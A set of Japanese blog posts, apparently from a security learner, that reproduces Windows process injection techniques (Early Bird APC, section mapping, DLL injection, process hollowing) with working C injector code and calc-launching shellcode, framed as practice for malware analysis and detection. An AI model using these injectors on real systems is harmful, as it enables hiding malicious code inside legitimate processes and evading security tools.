QueueUserAPCによるEarly Bird Injectionをやってみる
QueueUserAPCによるEarly Bird Injectionをやってみる
QueueUserAPCによるEarly Bird Injectionをやってみる。
APCを使ったcode injection手法はEarly Bird Injectionと呼ばれることがある。これはターゲットプロセスのプロセス作成ルーチンの早い段階、すなわちメインスレッドが開始される前に、攻撃者が悪意あるコードを挿入、実行できることから来ている。このテクニックが公開された当初は、この仕組みによりマルウェア対策製品で使用されるWindowsフックエンジンによる検出を回避できる可能性があった。
APCとは
Windowsは非同期プロシージャ呼び出し(APC, Asynchronous Procedure Call)を実装している。 APCはAPCオブジェクトと呼ばれるカーネル制御オブジェクトによって表される。実行待ちのAPCはカーネルが管理するAPCキューに追加される。 システム共有のDPCキューと異なり、APCキューはスレッドごとに用意、管理される。 APCを使うことで、ユーザーは特定のスレッドのコンテキストで非同期的にコードを実行できる。
コールバック関数として設定された関数は、スレッドがアラート可能状態になると、先入れ先出しの順序で実行される。実行中の全てのスレッドには独自のAPCキューがあり、WinAPIのQueueUserAPC関数にてこのキューにコールバック関数を追加できる。
Early Bird Injectionの概要
Early Bird InjectionではこのAPCを悪用する、特定のプロセスのアドレス空間に悪意あるコードをAPCキューとして配置する。 APCが呼び出されると悪意あるコードがターゲットプロセス内のスレッドで実行される。
以降では、悪意あるシェルコードに見立てた電卓を起動するシェルコードを使い、本手法を再現してみる。
電卓を起動するシェルコードはももいろテクノロジーさんからお借りする。
コード
以下がEarly Bird Injectionを実装したコードとなる。
#include <Windows.h> #include<stdio.h> int main() { printf("Start APC queue code injection\n"); // 64bit calc.exe unsigned char buf[] = "\xFC\xEB\x76\x51\x52\x33\xC0\x65\x48\x8B\x40\x60\x48\x8B\x40\x18\x48\x8B\x70\x10\x48\xAD\x48\x89\x44\x24\x20\x48\x8B\x68\x30\x8B\x45\x3C\x83\xC0\x18\x8B\x7C\x28\x70\x48\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x48\x03\xDD\x67\xE3\x3A\xFF\xC9\x8B\x34\x8B\x48\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x18\x75\xE0\x8B\x5F\x24\x48\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x48\x03\xDD\x8B\x04\x8B\x48\x03\xC5\x5A\x59\x5E\x5F\x56\xFF\xE0\x48\x8B\x74\x24\x20\xEB\x9B\x33\xC9\x48\x8D\x51\x01\x51\x68\x63\x61\x6C\x63\x48\x8B\xCC\x48\x83\xEC\x28\x68\x98\xFE\x8A\x0E\xE8\x6D\xFF\xFF\xFF\x33\xC9\x68\x7E\xD8\xE2\x73\xE8\x61\xFF\xFF\xFF"; SIZE_T shellSize = sizeof(buf); LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); CreateProcessA(0, (LPSTR)"notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, pStartupInfo, pProcessInfo); printf("Create target process\n"); LPVOID shellAddress = VirtualAllocEx(pProcessInfo->hProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; printf("Allocate memory in target process\n"); WriteProcessMemory(pProcessInfo->hProcess, shellAddress, buf, shellSize, NULL); printf("Write shellcode to the allocated memory\n"); QueueUserAPC((PAPCFUNC)apcRoutine, pProcessInfo->hThread, NULL); ResumeThread(pProcessInfo->hThread); printf("Adds a APC object to the APC queue of the target proess's thread.\n"); printf("Complete!\n"); return 0; }
手順は次の通り。
- CREATE_SUSPENDフラグを付与してターゲットとなるプロセスを新規作成。
- ターゲットプロセスにメモリを割り当て、シェルコードを書き込む。
- APCをターゲットプロセスのメインスレッドにキューイング。
- ターゲットプロセスの再開。
デモ
実際にこのコードをコンパイルし実行すると、確かにシェルコードが実行され電卓が起動する。
VirtualAllocExによるメモリが確保されている様子。
WriteProcessMemoryでシェルコードがターゲットプロセス内に書き込まれている様子。
ResumeThreadによりターゲットプロセスが再開され電卓が起動している様子である。
おわりに
今回はQueueUserAPCによるEarly Bird Injectionをやってみた。
複数のプロセスをまたぐマルウェアの解析は厄介だ。 特に今回のようなプロセスがサスペンド状態で作成された場合、プロセス作成ルーチンが終了しておらず、CreateProcessA関数が実行された時点ではデバッガでそのプロセスへアタッチできない。 またプロセスが再開された瞬間にAPCが実行、プロセスが終了するため手動でアタッチすることは困難だ。 これを適切に解析するにはまた別のテクニックが必要となる。 適宜コードを調整するなどして解析の練習などに使用してもらえれば幸いだ。
追記
NtTestAlert関数を使用すれば即座にAPCキューをディスパッチし、コードを実行させることができる。 NtTestAlert関数はAPCキューが空でない場合にKiUserApcDispatcher関数を呼び出す。 KiUserApcDispatcher関数はAPCキューを処理するためにWindowsカーネルによって使用される関数である。KiUserApcDispatcher関数が呼び出されるとAPCキューに配置されたコードを指定されたコンテクストで実行する。
参考サイト
NtCreateSectionとNtMapViewOfSectionによるProcess Injectionをやってみる
NtCreateSectionとNtMapViewOfSectionによるProcess Injectionをやってみる
Process Injectionとは
マルウェアなどが使用する、正当なプロセスに悪意あるコードを注入する手法は一般にProcess Injectionと呼ばれる。 プロセスにコードを注入する方法は数多あるが、今回はNtCreateSection関数とNtMapViewOfSection関数を使った手法を再現してみる。
本手法の概要
injectorプロセス内にセクションを新規作成する。それをメモリマップトファイルとしてマップする。ターゲットプロセスにも同様にこのセクションをマップする。 injectorプロセスがセクションにシェルコードを書き込むことで、ターゲットプロセスにもシェルコードが共有される。 最後にターゲットプロセスに対して、開始アドレスがシェルコードが書き込まれたセクションに指定されたスレッドを新規作成することで、シェルコードがターゲットプロセス内で実行される。
今回は悪意あるシェルコードを内部に持ったinjectorプロセスが新規にメモ帳プロセスを作成し、そのプロセスに対してインジェクションを行うという想定で本手法を再現してみる。 悪意あるシェルコードの代わりとして、ももいろテクノロジーさんの電卓を起動するシェルコードを使用させてもらう。
http://inaz2.hatenablog.com/entry/2015/07/26/175115
プロセス間のデータ共有おさらい
本手法では、プロセス間のデータ共有としてWindowsが持つメモリマップトファイルの機能を使う。
まず前提として、各プロセスは独自のアドレス空間を持つためプロセス間では例えアドレスが同じであっても保持されているデータは同一ではない。
メモリマップトファイルはディスク上のファイルを仮想アドレス空間に配置し、メモリ上のデータが書き換えられたと同時にファイルの内容も書き換えるという機能だ。 このような仮想アドレス空間とファイル内容を相互に反映させるようメモリ上にデータを配置することをマッピングという。 複数のプロセス間で同一のファイルをマッピングすれば、異なるアドレス空間であっても同一のデータ領域を共有することができる。
大まかに次のような手順になる。
- CreateFileMapping関数によってファイルマッピングオブジェクトの作成、そのオブジェクトへのハンドルを取得する。
- 取得したハンドルを元に、MapViewOfFile関数で作成したオブジェクトを仮想アドレス空間にマッピング
- メモリに対して種々の操作
- アンマップ
- ファイルマッピングオブジェクトの削除
ディスク上のファイルを伴わないメモリマップトファイル
メモリマップトファイル機能を使ったプロセス間のデータ共有について大まかにまとめた。 ただし上の手順ではディスク上に実行させたいコードが記述されたファイルを新たに作成する必要があるため攻撃者にとっては具合が悪い。
そこでNtMapViewOfSection関数を使う。 これは名前の通り仮想メモリ上のセクションをマッピングする関数だ。 このセクションオブジェクトを複数のプロセスで共有すれば、マッピングされたセクションオブジェクトは相互に反映される。
コード
上記の流れを踏まえて書いたのが以下のコード。
#include <Windows.h> #include<stdio.h> #pragma comment(lib, "ntdll") typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, * PCLIENT_ID; using myNtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL); using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID * BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect); using myRtlCreateUserThread = NTSTATUS(NTAPI*)(IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID); int main() { unsigned char buf[] = "\xFC\xEB\x76\x51\x52\x33\xC0\x65\x48\x8B\x40\x60\x48\x8B\x40\x18\x48\x8B\x70\x10\x48\xAD\x48\x89\x44\x24\x20\x48\x8B\x68\x30\x8B\x45\x3C\x83\xC0\x18\x8B\x7C\x28\x70\x48\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x48\x03\xDD\x67\xE3\x3A\xFF\xC9\x8B\x34\x8B\x48\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x18\x75\xE0\x8B\x5F\x24\x48\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x48\x03\xDD\x8B\x04\x8B\x48\x03\xC5\x5A\x59\x5E\x5F\x56\xFF\xE0\x48\x8B\x74\x24\x20\xEB\x9B\x33\xC9\x48\x8D\x51\x01\x51\x68\x63\x61\x6C\x63\x48\x8B\xCC\x48\x83\xEC\x28\x68\x98\xFE\x8A\x0E\xE8\x6D\xFF\xFF\xFF\x33\xC9\x68\x7E\xD8\xE2\x73\xE8\x61\xFF\xFF\xFF"; myNtCreateSection fNtCreateSection = (myNtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection")); myNtMapViewOfSection fNtMapViewOfSection = (myNtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection")); myRtlCreateUserThread fRtlCreateUserThread = (myRtlCreateUserThread)(GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread")); SIZE_T size = 4096; LARGE_INTEGER sectionSize = { size }; HANDLE sectionHandle = NULL; PVOID localSectionAddress = NULL, remoteSectionAddress = NULL; LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); CreateProcessA(0, (LPSTR)"notepad.exe", 0, 0, 0, 0, 0, 0, pStartupInfo, pProcessInfo); printf("create process\n"); fNtCreateSection(§ionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL); printf("fNtCreateSection\n"); fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE); HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pProcessInfo->dwProcessId); fNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READ); printf("fNtMapViewOfSection\n"); memcpy(localSectionAddress, buf, sizeof(buf)); HANDLE targetThreadHandle = NULL; fRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL); printf("complete!\n"); return 0; }
デモ
以下の動画でコードのデモを見ることができる。
— ry0kvn (@ry0kvn) 2020年1月9日
まずプロセスエディタで新規作成されたメモ帳のremoteSectionAddress付近のメモリ内容を表示している。
理論通りならば、次のmemcpy関数によってシェルコードがinjectorプロセスのセクションに書き込まれた瞬間、メモ帳のこのアドレスにもシェルコードが共有されるはずである。 ステップ実行すると確かにシェルコードがメモ帳プロセスの仮想メモリに共有されていることが確認できる。 その後処理を進めることで新規作成したメモ帳でシェルコードが実行され、電卓が起動している。
参考サイト
64bitアプリケーションのPEBからImageBaseを取得してみる
64bitアプリケーションのPEBからImageBaseを取得してみる
Windowsにおいて各プロセスはエグゼクティブプロセス(Executive Process:EPROCESS)構造体によって表現される。 この構造体にはプロセスに関する多くの情報が保持されており、たとえば、複数のスレッドを持つプロセスであれば各スレッド情報を持つエグゼクティブスレッド(Executive Thread:ETHREAD)構造体へのポインタなどがある。 ただしEPROCESS構造体とその関連構造体の多くはシステムのアドレス空間上に存在する。 ではユーザーモードのコードからプロセス情報を得るにはどうすればよいだろうか。 じつはプロセス環境ブロック(Process Enciroment Block:PEB)という構造体がユーザーモードのアドレス空間に用意されており、ここからプロセスに関する種々のデータを取得することができる。
今回は64bitプロセスのPEBからImageBaseを取得してみる。 ImageBaseとはその名の通りイメージファイルがロードされるアドレスであり、例えばPEファイルならImageBaseからの2バイトはMZがくるといった具合だ。 このImageBase+RVAでロードされたPEファイルの各種データにアクセスすることができる。
WinDbgで確認してみる
まずはWinDbgでnotepad.exeのPEBからImageBaseを確認してみる。 次のコマンドでPEB構造体のフォーマットを出力できる。
0:007> dt _peb ntdll!_PEB +0x000 InheritedAddressSpace : UChar +0x001 ReadImageFileExecOptions : UChar +0x002 BeingDebugged : UChar +0x003 BitField : UChar +0x003 ImageUsesLargePages : Pos 0, 1 Bit +0x003 IsProtectedProcess : Pos 1, 1 Bit +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit +0x003 IsPackagedProcess : Pos 4, 1 Bit +0x003 IsAppContainer : Pos 5, 1 Bit +0x003 IsProtectedProcessLight : Pos 6, 1 Bit +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit +0x004 Padding0 : [4] UChar +0x008 Mutant : Ptr64 Void +0x010 ImageBaseAddress : Ptr64 Void // 省略
オフセット0x10のImageBaseAddressが求めたいImageBaseだ。
これはただPEB構造体の構造を出力しているだけでnotepad.exeのPEBではない。 notepad.exeのPEBを出力するにはPEBのアドレスを指定する必要がある。 次のようにすればよい。
0:007> r $peb $peb=000000b5755da000 0:007> dt _peb @$peb ntdll!_PEB +0x000 InheritedAddressSpace : 0 '' +0x001 ReadImageFileExecOptions : 0 '' +0x002 BeingDebugged : 0x1 '' +0x003 BitField : 0x84 '' +0x003 ImageUsesLargePages : 0y0 +0x003 IsProtectedProcess : 0y0 +0x003 IsImageDynamicallyRelocated : 0y1 +0x003 SkipPatchingUser32Forwarders : 0y0 +0x003 IsPackagedProcess : 0y0 +0x003 IsAppContainer : 0y0 +0x003 IsProtectedProcessLight : 0y0 +0x003 IsLongPathAwareProcess : 0y1 +0x004 Padding0 : [4] "" +0x008 Mutant : 0xffffffff`ffffffff Void +0x010 ImageBaseAddress : 0x00007ff7`8dec0000 Void // 省略
求めたいImageBaseはPEB構造体のImageBaseAddressから0x00007ff7`8dec0000であることがわかる。
dcコマンドでこのアドレスの中身を見てみる。
0:007> dc 0x00007ff7`8dec0000 00007ff7`8dec0000 00905a4d 00000003 00000004 0000ffff MZ.............. 00007ff7`8dec0010 000000b8 00000000 00000040 00000000 ........@....... 00007ff7`8dec0020 00000000 00000000 00000000 00000000 ................ 00007ff7`8dec0030 00000000 00000000 00000000 000000f8 ................ 00007ff7`8dec0040 0eba1f0e cd09b400 4c01b821 685421cd ........!..L.!Th 00007ff7`8dec0050 70207369 72676f72 63206d61 6f6e6e61 is program canno 00007ff7`8dec0060 65622074 6e757220 206e6920 20534f44 t be run in DOS 00007ff7`8dec0070 65646f6d 0a0d0d2e 00000024 00000000 mode....$.......
確かにImageBaseが取得できているようだ。
ちなみに!pebコマンドを使えば一発で求まる。
0:007> !peb PEB at 000000b5755da000 InheritedAddressSpace: No ReadImageFileExecOptions: No BeingDebugged: Yes ImageBaseAddress: 00007ff78dec0000 // 省略
コードで確認してみる
次にコードでnotepad.exeのPEBからImageBaseを求めてみる。
#include <windows.h> #include <winternl.h> // PROCESS_BASIC_INFORMATION #include <iostream> #include <cstdlib> // pause() #include <sstream> // std::stringstream #include<stdio.h> std::stringstream ss; typedef NTSTATUS(WINAPI *fpNtQueryInformationProcess)( HANDLE ProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength); PROCESS_BASIC_INFORMATION* FindRemotePEB(HANDLE hProcess){ HMODULE hNTDLL = LoadLibraryA("ntdll"); fpNtQueryInformationProcess NtQueryInformationProcess = (fpNtQueryInformationProcess)GetProcAddress( hNTDLL, "NtQueryInformationProcess"); // find remote PEB PROCESS_BASIC_INFORMATION *pBasicInfo = new PROCESS_BASIC_INFORMATION(); // get PROCESS_BASIC_INFORMATION NtQueryInformationProcess( hProcess, 0, pBasicInfo, sizeof(PROCESS_BASIC_INFORMATION), NULL); // debug std::cout << "PEBase: " << pBasicInfo->PebBaseAddress << std::endl; return (PROCESS_BASIC_INFORMATION*)pBasicInfo; } DWORD64 ReadRemoteImageBase(HANDLE hProcess, PROCESS_BASIC_INFORMATION *pBasicInfo){ // get ImageBase offset address from the PEB DWORD64 pebImageBaseOffset = (DWORD64)pBasicInfo->PebBaseAddress + 0x10 ; // debug ss << std::hex << pebImageBaseOffset; std::cout << "pebImageBaseOffset: " << ss.str() << std::endl; // get ImageBase DWORD64 ImageBase = 0; SIZE_T ReadSize = 8; SIZE_T bytesRead = NULL; ReadProcessMemory(hProcess, (LPCVOID)pebImageBaseOffset, &ImageBase, ReadSize, &bytesRead); return ImageBase; } int main() { // open 64bit notepad.exe std::cout << "Creating process\r\n"; LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); CreateProcessA( 0, "notepad.exe", 0, 0, 0, 0, 0, 0, pStartupInfo, pProcessInfo); PROCESS_BASIC_INFORMATION *pBasicInfo = (PROCESS_BASIC_INFORMATION*)FindRemotePEB(pProcessInfo->hProcess); DWORD64 ImageBase = ReadRemoteImageBase(pProcessInfo->hProcess, pBasicInfo); // debug printf("ProcessId:%d\n", pProcessInfo->dwProcessId); printf("ImageBase:%p\n", ImageBase); system("PAUSE"); TerminateProcess(pProcessInfo->hProcess, NULL); }
プロセスハンドルからNtQueryInformationProcessでPROCESS_BASIC_INFORMATIONを取得する。 その中にPEBへのポインタがあるので、0x10加算したアドレスをReadProcessMemoryで読み取ればそれがImageBaseのアドレスというわけだ。
参考サイト
https://riosu.hateblo.jp/entry/2013/09/06/001208
https://www.microsoftpressstore.com/articles/article.aspx?p=2233328
LoadLibrary,CreateRemoteThreadを使ったDLL Injectionをやってみる
LoadLibrary,CreateRemoteThreadを使ったDLL Injectionをやってみる
DLLインジェクションの紹介記事なんて何番煎じだよという声が聞こえてきそうですが、DLLを使った攻撃は多くの派生版があり、それらを理解するにはまず最も基本的なLoadLibrary,CreateRemoteThreadを使ったDLLインジェクションを理解することが近道です。
本記事ではKernel32.dllがエクスポートするLoadLibrary、CreateRemoteThreadを使ったDLLInjectionを実装し、その動作原理について解説したいと思います。 またその結果としてマルウェア解析やその検知等の応用につなげていただければ幸いです。
DLL Injectionの原理
Windowsにおいて、各プロセスは固有の仮想メモリ空間を持ちます。 そのため基本的にWindowsAPIの力を借りずにあるプロセスが別のプロセスのメモリ空間を操作することはできません。
対してDLL InjectionはリモートプロセスへDLLを注入することで、そのリモートプロセスとしてコードを実行させるテクニックです。 これは攻撃者からすれば、既存のプロセスを隠れ蓑に任意のコードを実行させられるということであり、実においしい話です。
さて、さきほどWindowsAPIの力を借りずにあるプロセスが別のプロセスのメモリ空間を操作することはできないと述べました。ではどのようにDLL Injectionは実装されるのでしょうか。
特定のDLL(具体的にはNtdll.dllやKernel32.dll,User32.dllなどのサブシステムDLL)はすべてのプロセスで同じ仮想メモリアドレスにロードされます.したがって,それらDLLからエクスポートされるAPIのアドレスはすべてのプロセスで共通の値になります.
Loadlibraryを使ったDLLインジェクションはこの仕組みに着目し、自プロセスにロードされたKernel32.dllからエクスポートされるLoadlibraryへのアドレスをそのまま他プロセスに渡すことで任意のDLLのロードを可能にします。
主な手順は次のようになります。
- リモートプロセスをオープンまたはアタッチ
- WriteProcessMemoryでリモートプロセスに読み込ませたいDLLのパスを書き込む
- Loadlibraryへのアドレスを引数としてリモートプロセスに対してCreateRemoteThreadする
- この際、Loadlibraryの引数に、先ほど書き込んだDLLのパスへのアドレスを指定することで、任意のDLLを読み込ませることが可能
- DLLは読み込まれた直後に自動的に実行するコードを内部に記述可能で、ここに悪意あるコードを忍ばせておくことで攻撃が成立する
それでは実際に悪意あるDLLとそれをほかのプロセスにインジェクトするインジェクタープログラムを実装していきましょう。
injectorの実装
// usage // ./injector.exe [DLLPath] [ProcessID to insert DLL] #include <windows.h> int main(int argc, char *argv[]) { DWORD pid; HANDLE proc; LPSTR libPath; LPSTR remoteLibPath; DWORD pathSize; libPath = argv[1]; // 文字列を数値に変換 pid = strtoul(argv[2], NULL, 0); proc = OpenProcess( PROCESS_CREATE_THREAD //CreateRemoteThread | PROCESS_VM_OPERATION //VirtualAllocEX | PROCESS_VM_WRITE, //WriteProcessMemory FALSE, //InheritHandle pid); pathSize = strlen(libPath) + 1; remoteLibPath = VirtualAllocEx( proc, NULL, pathSize, MEM_COMMIT, PAGE_READWRITE); // リモートプロセスへ読み込ませたいDLLのパスを書き込む WriteProcessMemory( proc, remoteLibPath, libPath, pathSize, NULL); // 自プロセス内のLoadlibraryへのアドレスをそのまま引数として渡す CreateRemoteThread( proc, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibrary, remoteLibPath, 0, NULL); return 0; }
DLLを読み込ませるインジェクタープログラムはたったこれだけです。
injectさせるDLLの実装
次に読み込まれるDLLを実装していきましょう。 このDLLがリモートプロセスに読み込まれ、デバッグウィンドウに文字列が出力されれば成功です。
// evil.c #include <Windows.h> int evilcode(void); int evilCode() { char *buf = "Injected!"; OutputDebugString(buf); } BOOL WINAPI DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { if (ul_reason_for_call == DLL_PROCESS_ATTACH) { evilCode(); } return TRUE; }
DLLは自身がプロセスにアタッチされたとき、つまりプロセスの仮想メモリ上にロードされたときに実行されるコードを記述可能で、今回はアタッチ時にevilcode()が実行されます。 このようにすることで読み込ませたプロセス上で任意のコードを走らせることができます。
実際に動作させてみる
VisualStudio付属のx64 native tools command prompt for vs 2019からclコマンドでコンパイルを行います。
cl injector.c
DLLは/LD
オプションをつけることで作成できます。
cl evil.c /LD
まずは適当なインジェクトされるプログラムを起動しそのプロセス番号を調べます。今回はメモ帳を使うことにします。
C:\Program Files (x86)\Microsoft Visual Studio\2019\Community>tasklist | findstr "notepad" notepad.exe 15424 Console 1 18,340 K
続いてインジェクタープログラムを使って実際にDLLをメモ帳にロードさせてみます。
injector.exe 15424 evil.dll
メッセージボックスがデバッグビューに表示されればDLLインジェクション成功です。
まとめ
名前のいかつさとは対照的に、案外簡単に実装できてしまったのではないでしょうか。
DLL InjectionはAPIフックやin-lineフックなどの興味深い攻撃手法の根幹をなすテクニックです。 また、インジェクター内で使用したOpenProcessやWriteProcessMemory、CreateRemoteThreadはプロセス操作を行うマルウェアで頻繁に目にするWindowsAPIです。
興味深い攻撃手法がたくさんありますのでぜひ手元で再現し、その検知手法ならびに解析手法を考えてみてください。
参考サイト
NtUnmapViewOfSecitonによるProcess Hollowingをやってみる
NtUnmapViewOfSecitonによるProcess Hollowingをやってみる
本記事は IPFactory Advent Calendar 2019 - Qiita 19日目の記事です。
Ntdll.dllからエクスポートされるNtUnmapViewOfSectionによるProcess Hollowingをやってみる。
Process Hollowingの検知手法について解説する記事はいくつかヒットするが、その実装について解説した日本語情報はあまりないように思う。この記事では、すでによく知られているProcess Hollowingについて,実装部分に注目しながら解説してみる。これを読まれた方に検知と回避についてその仕組みから考える機会となれば幸いである。
Process Hollowingとは
マルウェアが使うProcess Injection手法の一例として、Process Hollowingがある。 これは正当なプロセスをサスペンド状態で新規作成した後、内部のイメージをNtUnmapViewOfSectionでアンマップし、悪意あるコードに置き換えるというものだ。
イメージをアンマップする様子がくり抜く動作に似ていることからProcess Hollowingと呼ばれる。
この記事では以下のリポジトリを参考に、電卓プロセスをHollowingし悪意あるコードに見立てたメッセージボックスをポップアップさせるプログラムを実装してみる。
新規プロセスの作成
まずは単純に,電卓を起動させるコードを書いてみる。
#include <windows.h> #include <stdio.h> void CreateHollowedProcess() { printf("Creating process\r\n"); LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); // CREATE_SUSPENDで新規プロセス作成 CreateProcessA( 0, "calc.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, pStartupInfo, pProcessInfo); if (!pProcessInfo->hProcess) { printf("Error creating process\r\n"); return; } ////////////////////////////// // ここにコードを追加していく ////////////////////////////// } int main(int argc, char *argv[]) { CreateHollowedProcess(); system("pause"); return 0; }
CreateProcessAの6番目の引数にCREATE_SUSPENDEDを与えることでサスペンド状態でプロセスが新規作成される。 試しにこれを0などに変えてみると通常通り電卓が起動するだろう。
以降このプログラムにコードを追加していく。
イメージのアンマップ
最初の処理は作成した電卓のイメージのアンマップだ。
/////////////////////////////////////////////////// // イメージのアンマップ printf("Unmapping destination section\r\n"); // 書き込み対象プロセスのPEB情報を取得 PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess); // 書き込み対象プロセスのImageBaseを取得 PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress); handle hinstance = getmodulehandle(); // 動的にDLLをリンク HMODULE hNTDLL = GetModuleHandleA("ntdll"); FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection"); _NtUnmapViewOfSection NtUnmapViewOfSection = (_NtUnmapViewOfSection)fpNtUnmapViewOfSection; // 書き込み対象プロセスをアンマップ DWORD dwResult = NtUnmapViewOfSection(pProcessInfo->hProcess, pPEB->ImageBaseAddress); ///////////////////////////////////////////////////
イメージのアンマップはNtdll.dllからエクスポートされるNtUnmapViewOfSectionを使用する。 DLLの動的なロードにはGetModuleHandleAを使用する。 ハンドルと使用したい関数をGetProcAddressに渡すとその関数へのポインタが返る。 以降NtUnmapViewOfSectionへは関数ポインタと同じ要領でアクセスすればよい。
NtUnmapViewOfSectionの第1引数には対象プロセスのハンドル、第2引数にはイメージのベースアドレスを指定する。 対象プロセスへのハンドルはpProcessInfo->hProcessを与える。 イメージのベースアドレス取得にはラッパー関数であるReadRemotePEBを使用する。 この内部ではNtQueryInformationProcessを使ってPEBからプロセスのイメージベースを取得している。実際のコードはリポジトリを参照してほしい。
書き込み元実行ファイルの情報収集とメモリのアロケート
イメージのアンマップが正常に終了したら次は代替コードの注入だ。 メッセージボックスがポップアップするプログラムを簡単に書いてみる。
#include <windows.h> int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow) { MessageBoxA(0, "Hello World", "Hello Caption", 0); return 0; }
このプログラムをコンパイルし実行形式にする。
書き込み元実行ファイルの情報収集処理ではまず先ほどコンパイルして出来上がった実行ファイルをオープンし、SizeOfImageなど書き込みに必要な情報を取得する。 次にそれに基づいてVritualAllocEXを使って電卓プロセス内にメモリ領域をPAGE_EXECUTE_READWRITEでアロケートする。 この段階ではまだメモリ領域を確保しただけで書き込みまでは行っていない。
/////////////////////////////////////////////////// // 書き込み元実行ファイルの情報収集とメモリのアロケート // 書き込み元実行ファイルをオープン printf("Opening source image\r\n"); HANDLE hFile = CreateFileA( pSourceFile, GENERIC_READ, 0, 0, OPEN_ALWAYS, 0, 0); // 書き込み元実行ファイルのファイルサイズ取得 DWORD dwSize = GetFileSize(hFile, 0); PBYTE pBuffer = new BYTE[dwSize]; DWORD dwBytesRead = 0; ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0); // PEファイルのImageBase,NumberOfSectionsなどの各種情報を取得 PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer); // NTHeaderへのオフセットを取得 PIMAGE_NT_HEADERS32 pSourceHeaders = GetNTHeaders((DWORD)pBuffer); printf("Allocating memory\r\n"); // PAGE_EXECUTE_READWRITEで書き込み対象へメモリ領域の確保 PVOID pRemoteImage = VirtualAllocEx( pProcessInfo->hProcess, pPEB->ImageBaseAddress, pSourceHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); ///////////////////////////////////////////////////
ベース再配置処理
PEファイルのオプショナルヘッダにはリンカが指定したイメージファイルがロードされるべきアドレスであるImageBaseフィールドがある。しかし既に他のイメージによって使用されているなど常にこのアドレスにロードできるとは限らない。 なんらかの理由でImageBaseにイメージファイルをロードできなかった場合、ローダはファイル内のベース再配置情報に基づいてアドレス値を修正する。 Process HollowingではVirtualAllocExで確保したメモリ領域にイメージファイルをロードさせる。そのため通常ローダが行ってくれるこのベース再配置をマニュアルで行う必要がある。
ベース再配置情報はオプショナルヘッダのDataDirectoryのIMAGE_DIRECTORY_ENTRY_BASERELOC[5]のエントリから辿ることができる。
